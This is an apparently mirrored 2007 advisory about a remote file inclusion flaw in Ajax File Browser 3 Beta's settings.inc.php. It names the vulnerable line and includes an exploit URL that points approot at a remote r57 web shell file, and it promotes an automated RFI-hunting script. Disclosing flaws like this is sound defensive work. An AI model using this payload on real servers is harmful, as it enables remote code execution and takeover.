Ajax File Browser 3b (settings.inc.php approot) RFI Vulnerability

🗓️ 17 Sep 2007 00:00:00Reported by RootType

Ajax File Browser 3b has a Remote File Inclusion vulnerability in settings.inc.php file.


                                                Ajax&nbsp;File&nbsp;Browser&nbsp;3&nbsp;Beta&nbsp;Remote&nbsp;File&nbsp;Inclusion
##############################################

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;found&nbsp;by&nbsp;the&nbsp;&quot;arfis&nbsp;project&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://arfis.wordpress.com/

Project&nbsp;Info:
-------------
	Name:&nbsp;Ajax&nbsp;File&nbsp;Browser
	Link:&nbsp;http://sourceforge.net/projects/ajaxfb/
	DL:&nbsp;&nbsp;&nbsp;http://surfnet.dl.sourceforge.net/sourceforge/ajaxfb/afb-3-beta-2007-08-28.zip


Vulnerability&nbsp;Info:
-------------------
	File:&nbsp;_includes/settings.inc.php
	Line:&nbsp;12
	Code:&nbsp;require_once($approot.&nbsp;_includes/functions_file.inc.php&nbsp;);


Exploit&nbsp;Example:
----------------
	http://localhost/afb-3-beta-2007-08-28/_includes/settings.inc.php?approot=http://localhost/r57.txt?


About&nbsp;arfis:
------------
	&quot;arfis&quot;&nbsp;stands&nbsp;for&nbsp;&quot;automated&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;search&quot;.&nbsp;It's&nbsp;a&nbsp;perl&nbsp;script
	that&nbsp;automatically&nbsp;download&nbsp;and&nbsp;extract&nbsp;PHP&nbsp;projects&nbsp;from&nbsp;sourceforge.net.&nbsp;It&nbsp;then
	checks&nbsp;the&nbsp;project&nbsp;for&nbsp;RFI&nbsp;vulnerabilities,&nbsp;if&nbsp;found&nbsp;one&nbsp;it&nbsp;post's&nbsp;it&nbsp;to&nbsp;the&nbsp;arfis-
	blog,&nbsp;or&nbsp;database&nbsp;if&nbsp;you&nbsp;want&nbsp;to&nbsp;call&nbsp;it&nbsp;like&nbsp;that.&nbsp;Feel&nbsp;free&nbsp;to&nbsp;come&nbsp;around&nbsp;and
	find&nbsp;your&nbsp;own&nbsp;RFI:
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://arfis.wordpress.com/

17 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1